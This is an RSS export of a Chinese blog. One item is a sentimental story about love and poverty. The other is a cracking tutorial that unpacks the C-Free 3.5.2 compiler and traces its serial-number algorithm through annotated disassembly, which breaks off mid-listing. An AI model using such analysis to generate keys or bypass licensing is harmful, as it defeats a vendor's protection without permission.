﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>博客园-Fancy Blog</title><link>http://www.cnblogs.com/F4ncy/</link><description /><language>zh-cn</language><lastBuildDate>Mon, 06 Jul 2009 11:39:01 GMT</lastBuildDate><pubDate>Mon, 06 Jul 2009 11:39:01 GMT</pubDate><ttl>60</ttl><item><title>没有钱我们能爱多久</title><link>http://www.cnblogs.com/F4ncy/archive/2005/11/23/283094.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Wed, 23 Nov 2005 12:30:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/11/23/283094.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/283094.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/11/23/283094.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/283094.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/283094.html</trackback:ping><description><![CDATA[<P>没有钱我们能爱多久<BR><BR>我的女友很优秀，很出色，直至如今我仍想不出对她不一往情深的理由，她的优秀让我对所有感情的诱惑都不屑一顾，我们深深的倾情于对方，在校园那段美丽而又浪漫的日子里，我们身边全是羡慕的眼光。曾有一个喜欢我的女孩儿气乎乎的说我们的爱不会是永远，女友冲她做了个鬼脸，说我们是最幸福的一对。&nbsp; </P>
<P>在学校的时光过得开心而又潇洒，几乎每一次我们都是挽着手一起去上晚自习，无论再冷再热的天气我们都会换着时间在对方宿舍楼下等待。下雪的时候她为了我去学织手套，结果手都扎破了，为这些我幸福得炫耀了好多天。我们一起去食堂打饭，一起看电影，一起逛街，所有能在一起的时间我们都没有错过。我很喜欢我去打蓝球她在旁边拎着手服为我加油的样子，我很怀念她坐在我的旧单车后面轻轻依靠的感觉&nbsp; ，我为她偷过花园里的玫瑰，为她和别人比赛爬高，结果我摔下来头都破了&#8230;&#8230;那些日子，是我一生的最快乐。&nbsp; <BR>　　　　<BR>毕业后，我们为了能在一起和各自的家人都闹翻了，他们说我们不会幸福，可那根本无济于事，没人能拦住我们。&nbsp; <BR>　　　　<BR>可是，我们从搬进租来房子的第一天起，就默不作声的坐了半天，因我们第一次知道了什么都没有的滋味，她的父母是机关干部，她是他们唯一的女儿；我的家人做生意，而我也是独子，衣来伸手，饭来张口的待遇一去不复返，好在我们是相爱的，&nbsp; 我们是真心的，于是相视着笑了，拍拍手，开始了新的生活。&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>社会给我们上了生动的一课。我们真正知道了有学历找工作也并非那么符合心愿&nbsp; ，从起初的高不成低不就惭惭变成能挣钱的都干，体会了生活的艰辛，领教了现实的残酷，然而我们很开心，因为我们能在一起。&nbsp; <BR>　　　　<BR>第一个月发工资我给她买了条围巾，买了份烤鸭和饺子，她却哭了，像个委屈的孩子的在我怀里泣不成声，我的心酸透了，那一刻，我很难过。&nbsp; <BR>　　　　<BR>在寒冬的夜里，我们围着电暖哭取暖，她作出以苦思甜状靠在我的肩头，她美丽的大眼睛里的那种眼神让我感觉很忧伤，我伏在她耳边说一定要让她过上好日子，我们一定会像从前那样让人羡慕的。她说能相爱已经是很幸福的事情了，我们还奢求什么呢？只要你能留在我的身边，只要我们永远都能这样相偎着互相取暖，只要你发工资还能记得给我买烤鸭和饺子，我就是世上最幸福的女人，再说那些有钱人未必会像我们这样相亲相爱，记住，我们是最幸福的一对，无论发生什么事情我都不要你离开我！&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>她的话让我心头一热，紧紧的拥住她，我不敢让她看到我的眼泪，因为她喜欢坚强的男孩儿。我在心里一遍一遍告诉自己要努力，那晚我们再次海誓山盟，那晚我们&nbsp; 幻想未来，那晚我们相约一辈子不离不弃。&nbsp; <BR>　　　　<BR>我想我们的爱够轰轰烈烈了，我想我们的情足以让天地动容了，可就在那晚，房东太太催我们交房租，我们的幸福很让她感动，但她眼睛里更多的是同情和怀疑。&nbsp; <BR>　　&nbsp; <BR>我们每次很穷的时候都会情不自禁的说起在学校的浪漫时光，那时我们不开心的时候只需在校园迷人的小路上拉着手走一段就没事了，那年的圣诞夜我跑遍了城市所&nbsp; 有的精品屋才找到她喜爱已久的八音盒，那时她最爱给我讲王子与公主的故事，那时&nbsp; 我的皮肤哪怕蹭破一块皮她也会心疼得掉眼泪。&nbsp; <BR>　　　　<BR>可是现在，我所能够给她的幸福只是在发工资时才舍得买的一份烤鸭和饺子。&nbsp; <BR>　　&nbsp; <BR>尽管生活慢慢的好起来，但这种所谓的进步只是相对于以前的寒酸。我们惭惭都&nbsp; 有了个稳定的工作，也攒了一些钱，但从那时开始我们谈的最多的却成了如何买房子，我们幻想着有一天能有自己漂亮的私家车，她说她给我看中了一套皮尔卡丹西服，她说要把我打造成一个完美男人。可我知道，每次路过美容店的时候她都很忧伤，当我看到她那美丽的容颜因缺少保养而有些黯然的时候，我一下子感觉到了自己在这个社会里的渺小，惭愧呀，但却只能苦笑！于是那天我花了六百块钱给她买了点美容用的东西，她高兴得像个孩子那样又蹦又跳，此情此景，我唯一能做的也许只能是长叹一口气吧！&nbsp; <BR>　　　　<BR>我去过她就职的那家广告公司，那些不漂亮的女人们背着意大利真皮皮包，穿着上千元的套装。我也去过她同事的家，那些漂亮房子里有着超大屏幕的背投影电视，有着可以将整个人都埋进去的舒适的沙发，有浪漫的灯光，有红酒，甚至养着名贵的狗。女主人在炫耀着她的名牌袜子，她价值昂贵的首饰，这一切，只是因为她们找了个有钱的老公，面对满屋子的时尚，我偷偷的脸红了。&nbsp; <BR>　　　　<BR>她们兴高采烈的谈论着一部最新引进大片，而我却想到了女友在菜市场为了一毛&nbsp; 两毛钱和人讨价还价的模样，别人说这么漂亮的女孩儿还这么小气时她的无地自容;记得有天她偷偷对着镜子流泪，因为她那纤细而又娇嫩的手因洗衣而变得苍白，因为&nbsp; &#8230;&#8230;，我不知道能够列举出多少因为，但我知道，这一切，只是因为我们还没有能够过上像在家里那样的生活，因为我们没有钱；记起挤公交车的尴尬；记起她委屈而又不欲外露的神情。&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>我看了女友一眼，她双腮酡红，过了一会儿她提出有事要先告辞，我知道她是为我着想，我也清晰的记得，那一晚，我们都失眠了。&nbsp; <BR>　　　　<BR>从此她成了幸福但不快乐的女孩儿，她像我一样拼命的工作，打拼在这个现实的&nbsp; 社会里，每天一下班都已是一身一心的疲惫，望着她曾经天真单纯而今写满倦意的脸&nbsp; <BR>庞，望着她为了不让我难过而强自微笑的表情，我的心碎了。&nbsp; <BR>　　　　<BR>于是我拼命的挣钱，像牛一样勤耕不辍，拉着我们的感情前行。我们的事业是有希望的，因为我们有才华，因为我们很努力，但成功却是一个漫长的过程。生活过的&nbsp; 好一些了，但我们都知道在我们工作的那个圈子，我们依旧是贫下中农，我偷偷的学会了喝酒、抽烟。&nbsp; <BR>　　　　<BR>在二年七个月零十三天的那个晚上，她走了，留下一封让我心碎而又无奈的信，她说：宝贝儿，我很爱你，你知道的，我很爱你！为了你，我可以什么都不顾，为了你，我可以毫不犹豫的牺牲自己，你是我的一切，是我的幸福，可正是因为这份爱才让我决定离开你，我将所有的眼泪都留在了这间屋子里，我将所有的情谊都刻在了心里，可我不忍再看你为了让我过的好一点而不要命的工作，我不忍再看你在压力下日惭消瘦，你知道吗？每次你偷偷的喝酒回来，我的心都在痛啊！&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>我很无奈，我们都很无奈，因为我不知道，没有钱，我们能爱多久？&nbsp; <BR>　　　　<BR>当初，为了你我留了下来，如今，为了你我要离开，我的背包里装满了让人心醉&nbsp; 的回忆，也许有一天我还会回来，因为我爱你，没有你，我的生命便没有色彩，可是现在让我走吧，那样你会轻松一点，我们都会轻松一点，好吗？&nbsp; <BR>　　　　<BR>照顾自己&#8230;&#8230;&nbsp; <BR>　　　　　　　　　　　　　　　　　　　　　　　&nbsp; <BR>是啊！没有钱，我们能爱多久？&#8221; 在她走后，我反复的吟念这句让人心酸的台词，眼泪再次无声的滑落&#8230;&#8230;&nbsp; <BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/283094.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48008/" target="_blank">IBM发布全球首款开源智能编译器</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>编译器C-Free V352注册算法分析</title><link>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239976.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 19 Sep 2005 13:23:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239976.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/239976.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239976.html#Feedback</comments><slash:comments>7</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/239976.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/239976.html</trackback:ping><description><![CDATA[<P>编译器C-Free V352注册算法分析</P>
<P>作者：prince</P>
<P>ASPack 2.12 脱壳很简单，ASPackDie也可以轻松对付。无自校验，脱壳后可直接运行。注册情况：机器码给出，输入用户名prince和序列号8764321，确定，提示重启验证。<BR>说到重启验证，最简单最直接的就想到注册表，确认一下，打开注册表搜索用户名prince，果然找到在\HKEY_LOCAL_MACHINE\SOFTWARE\C-Free\3.5下，同样列在其中的还有我们输入的假码87654321和我机器上的机器码(MachineCode)2781318776。这下我们就可以确定了软件确实是通过注册表来进行重启验证的。目标如此明确，载入脱壳后的程序，下断点RegQueryValueA，恩？没有，再下RegQueryValueExA，呵呵，可以了。F9运行，马上被断下，看堆栈，ValueName = "layout text"，不是我们想要的，继续F9，注意断点不能取消，因为后面的对注册表的读取还是要靠这个函数，再次断下，还不是，再运行...，大约81次，堆栈中显示ValueName<BR>= "MachineCode"，这就是要读取机器码了，注意。再次F9，断在读取RegistryCode也就是假码的地方，呵呵，敏感。再接下来是读取UserName，即用户名。到这里，计算注册码的准备工作就做完了，可是在那里计算的呢？作者在软件启动的时候将所有的配置信息连同机器码，用户名和注册码一起读出，而且也没有读出后立即计算注册码继续比较，这就给我们定位注册码计算造成了困难。这个时候我们该怎么办？两个办法，一个就是下面都进行单步跟踪，直到找到关键函数为止，毕竟软件在启动前肯定会计算注册码的；另外一个办法就是在内存中搜索假码然后下内存断点，这个方法倒是即快又方便，但是要掌握时机，具体什么时候搜内存要看代码的动作。我通常都是先搜内存，不行的话只好一步一步的单跟了，做Cracker要有耐心。当你在堆栈中看到ValueName = "EditorTabWidth"的时候，小心，呵呵，我们到了藏有宝藏的秘密入口了。</P>
<P>----------------------------------------------------------------------------------------<BR>00419654&nbsp; |.&gt;MOV WORD PTR DS:[EBX+10],4B8<BR>0041965A&nbsp; |.&gt;MOV EDX,unpacked.005DAA4C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; ASCII "EditorTabWidth"<BR>0041965F&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-620]<BR>00419665&nbsp; |.&gt;CALL unpacked.0058D308<BR>0041966A&nbsp; |.&gt;INC DWORD PTR DS:[EBX+1C]<BR>0041966D&nbsp; |.&gt;MOV EDX,DWORD PTR DS:[EAX]<BR>0041966F&nbsp; |.&gt;MOV EAX,ESI<BR>00419671&nbsp; |.&gt;CALL unpacked.004E936C<BR>00419676&nbsp; |.&gt;MOV ECX,DWORD PTR DS:[EDI]<BR>00419678&nbsp; |.&gt;MOV EDX,2<BR>0041967D&nbsp; |.&gt;MOV DWORD PTR DS:[ECX+A0C],EAX<BR>00419683&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-620]<BR>00419689&nbsp; |.&gt;DEC DWORD PTR DS:[EBX+1C]<BR>0041968C&nbsp; |.&gt;CALL unpacked.0058D520<BR>00419691&nbsp; |.&gt;MOV ECX,DWORD PTR DS:[EDI]<BR>00419693&nbsp; |.&gt;MOV BYTE PTR DS:[ECX+8F4],0<BR>0041969A&nbsp; |.&gt;MOV EAX,DWORD PTR DS:[EDI]<BR>0041969C&nbsp; |.&gt;INC DWORD PTR DS:[EAX+8F0]<BR>004196A2&nbsp; |.&gt;CALL unpacked.00462F18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 取机器码送EAX<BR>004196A7&nbsp; |.&gt;MOV DWORD PTR SS:[EBP-764],EAX<BR>004196AD&nbsp; |.&gt;MOV WORD PTR DS:[EBX+10],98<BR>004196B3&nbsp; |.&gt;MOV EDX,DWORD PTR DS:[EDI]<BR>004196B5&nbsp; |.&gt;MOV ECX,DWORD PTR DS:[EDX+8E4]<BR>004196BB&nbsp; |.&gt;CMP ECX,DWORD PTR SS:[EBP-764]<BR>004196C1&nbsp; |.&gt;JNZ unpacked.00419772<BR>004196C7&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-884]<BR>004196CD&nbsp; |.&gt;PUSH EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; /Arg2<BR>004196CE&nbsp; |.&gt;MOV EDX,DWORD PTR SS:[EBP-764]&nbsp;&nbsp; ; |[EBP-764]==机器码<BR>004196D4&nbsp; |.&gt;PUSH EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; |Arg1<BR>004196D5&nbsp; |.&gt;CALL unpacked.00462F70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; \关键CALL，跟进<BR>004196DA&nbsp; |.&gt;MOV WORD PTR DS:[EBX+10],4C4&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 上面的这个CALL计算真码，存放在EAX中(哎！又是明文</P>
<P>)<BR>004196E0&nbsp; |.&gt;ADD ESP,8<BR>004196E3&nbsp; |.&gt;LEA EDX,DWORD PTR SS:[EBP-884]&nbsp;&nbsp; ;&nbsp; 真码地址送入EDX<BR>004196E9&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-624]<BR>004196EF&nbsp; |.&gt;CALL unpacked.0058D308<BR>004196F4&nbsp; |.&gt;INC DWORD PTR DS:[EBX+1C]<BR>004196F7&nbsp; |.&gt;MOV EDX,DWORD PTR DS:[EAX]<BR>004196F9&nbsp; |.&gt;MOV EAX,DWORD PTR DS:[EDI]<BR>004196FB&nbsp; |.&gt;MOV EAX,DWORD PTR DS:[EAX+8E8]&nbsp;&nbsp; ;&nbsp; 假码送入EAX，呵呵，准备比较了哦<BR>00419701&nbsp; |.&gt;CALL unpacked.004ECED4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 比较函数，嘿嘿。<BR>00419706&nbsp; |.&gt;TEST EAX,EAX<BR>00419708&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-624]</P>
<P>----------------------------------------------------------------------------------------</P>
<P>我们要找算法的计算过程，所以004196D5 处跟进：</P>
<P>----------------------------------------------------------------------------------------<BR>00462F70&nbsp; /$&gt;PUSH EBP<BR>00462F71&nbsp; |.&gt;MOV EBP,ESP<BR>00462F73&nbsp; |.&gt;ADD ESP,-0C<BR>00462F76&nbsp; |.&gt;XOR EDX,EDX<BR>00462F78&nbsp; |.&gt;PUSH EBX<BR>00462F79&nbsp; |.&gt;PUSH ESI<BR>00462F7A&nbsp; |.&gt;PUSH EDI<BR>00462F7B&nbsp; |.&gt;MOV EBX,25&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; EBX=0x25<BR>00462F80&nbsp; |.&gt;MOV ECX,DWORD PTR SS:[EBP+8]&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; [EBP+8]==机器码<BR>00462F83&nbsp; |.&gt;XOR ECX,90909090&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 机器码异或90909090，ECX==35571EE8<BR>00462F89&nbsp; |.&gt;MOV EAX,ECX<BR>00462F8B&nbsp; |.&gt;DIV EBX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 上面异或的结果除以25<BR>00462F8D&nbsp; |.&gt;MOV EAX,EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 余数送EAX<BR>00462F8F&nbsp; |.&gt;CMP EAX,11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 余数同0x11比较<BR>00462F92&nbsp; |.&gt;JGE SHORT unpacked.00462F97&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 大于等于就直接压栈准备函数调用<BR>00462F94&nbsp; |.&gt;ADD EAX,11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 否则余数+0x11，然后再入栈<BR>00462F97&nbsp; |&gt;&gt;PUSH EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; /Arg3 余数入栈<BR>00462F98&nbsp; |.&gt;LEA EDX,DWORD PTR SS:[EBP-C]&nbsp;&nbsp;&nbsp;&nbsp; ; |<BR>00462F9B&nbsp; |.&gt;PUSH EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; |Arg2<BR>00462F9C&nbsp; |.&gt;PUSH ECX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; |Arg1 上面异或结果入栈<BR>00462F9D&nbsp; |.&gt;CALL unpacked.005861F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; \跟进<BR>00462FA2&nbsp; |.&gt;MOV ECX,DWORD PTR SS:[EBP+C]<BR>00462FA5&nbsp; |.&gt;ADD ESP,0C<BR>00462FA8&nbsp; |.&gt;MOV ESI,ECX<BR>00462FAA&nbsp; |.&gt;XOR EAX,EAX<BR>00462FAC&nbsp; |.&gt;LEA EDI,DWORD PTR SS:[EBP-C]</P>
<P>----------------------------------------------------------------------------------------</P>
<P>00462F9D 处继续跟进：</P>
<P>----------------------------------------------------------------------------------------<BR>005861F0&nbsp; /$&gt;PUSH EBP<BR>005861F1&nbsp; |.&gt;MOV EBP,ESP<BR>005861F3&nbsp; |.&gt;MOV EAX,DWORD PTR SS:[EBP+10]<BR>005861F6&nbsp; |.&gt;MOV EDX,DWORD PTR SS:[EBP+8]<BR>005861F9&nbsp; |.&gt;CMP EAX,0A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 余数同0A比较<BR>005861FC&nbsp; |.&gt;PUSH 61<BR>005861FE&nbsp; |.&gt;SETE CL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 条件为假，所以CL清零<BR>00586201&nbsp; |.&gt;AND ECX,1<BR>00586204&nbsp; |.&gt;CMP EAX,0A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 仍然同0A比较<BR>00586207&nbsp; |.&gt;PUSH ECX<BR>00586208&nbsp; |.&gt;PUSH EAX<BR>00586209&nbsp; |.&gt;MOV ECX,DWORD PTR SS:[EBP+C]<BR>0058620C&nbsp; |.&gt;PUSH ECX<BR>0058620D&nbsp; |.&gt;JNZ SHORT unpacked.00586213<BR>0058620F&nbsp; |.&gt;MOV EAX,EDX<BR>00586211&nbsp; |.&gt;JMP SHORT unpacked.00586215<BR>00586213&nbsp; |&gt;&gt;MOV EAX,EDX<BR>00586215&nbsp; |&gt;&gt;PUSH EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; |Arg1<BR>00586216&nbsp; |.&gt;CALL unpacked.00586160&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; \跟进<BR>0058621B&nbsp; |.&gt;ADD ESP,14<BR>0058621E&nbsp; |.&gt;POP EBP<BR>0058621F&nbsp; \.&gt;RETN</P>
<P>----------------------------------------------------------------------------------------</P>
<P>没有结果，00586216处继续跟进：</P>
<P>----------------------------------------------------------------------------------------<BR>00586160&nbsp; /$&gt;PUSH EBP<BR>00586161&nbsp; |.&gt;MOV EBP,ESP<BR>00586163&nbsp; |.&gt;ADD ESP,-24<BR>00586166&nbsp; |.&gt;PUSH EBX<BR>00586167&nbsp; |.&gt;PUSH ESI<BR>00586168&nbsp; |.&gt;PUSH EDI<BR>00586169&nbsp; |.&gt;MOV EDI,DWORD PTR SS:[EBP+10]&nbsp;&nbsp;&nbsp; ;&nbsp; [EBP+10]为前面压栈的余数<BR>0058616C&nbsp; |.&gt;MOV ESI,DWORD PTR SS:[EBP+8]&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; [EBP+8]为机器码异或90909090的结果<BR>0058616F&nbsp; |.&gt;MOV EBX,DWORD PTR SS:[EBP+C]<BR>00586172&nbsp; |.&gt;CMP EDI,2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 余数同0x2比较<BR>00586175&nbsp; |.&gt;JL SHORT unpacked.005861C4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 小于跳<BR>00586177&nbsp; |.&gt;CMP EDI,24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 同0x24比较<BR>0058617A&nbsp; |.&gt;JG SHORT unpacked.005861C4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 大于则跳<BR>0058617C&nbsp; |.&gt;TEST ESI,ESI<BR>0058617E&nbsp; |.&gt;JGE SHORT unpacked.0058618C<BR>00586180&nbsp; |.&gt;CMP BYTE PTR SS:[EBP+14],0<BR>00586184&nbsp; |.&gt;JE SHORT unpacked.0058618C<BR>00586186&nbsp; |.&gt;MOV BYTE PTR DS:[EBX],2D<BR>00586189&nbsp; |.&gt;INC EBX<BR>0058618A&nbsp; |.&gt;NEG ESI<BR>0058618C&nbsp; |&gt;&gt;LEA ECX,DWORD PTR SS:[EBP-24]&nbsp;&nbsp;&nbsp; ;&nbsp; 下面为关键循环<BR>0058618F&nbsp; |&gt;&gt;/MOV EAX,ESI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; ESI==机器码异或结果<BR>00586191&nbsp; |.&gt;|XOR EDX,EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; EDX清零<BR>00586193&nbsp; |.&gt;|DIV EDI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 将上面异或结果除以压栈的余数<BR>00586195&nbsp; |.&gt;|MOV BYTE PTR DS:[ECX],DL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 上面计算的余数的一个字节写入内存<BR>00586197&nbsp; |.&gt;|INC ECX<BR>00586198&nbsp; |.&gt;|MOV EAX,ESI<BR>0058619A&nbsp; |.&gt;|XOR EDX,EDX<BR>0058619C&nbsp; |.&gt;|DIV EDI<BR>0058619E&nbsp; |.&gt;|MOV ESI,EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 又做了一次相同的计算，商送入ESI<BR>005861A0&nbsp; |.&gt;|TEST EAX,EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 直到EAX==0为止<BR>005861A2&nbsp; |.&gt;\JNZ SHORT unpacked.0058618F&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 不为0则继续循环<BR>005861A4&nbsp; |.&gt;JMP SHORT unpacked.005861BD<BR>005861A6&nbsp; |&gt;&gt;/DEC ECX<BR>005861A7&nbsp; |.&gt;|MOV AL,BYTE PTR DS:[ECX]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 内存[ECX]的值送入AL<BR>005861A9&nbsp; |.&gt;|CMP 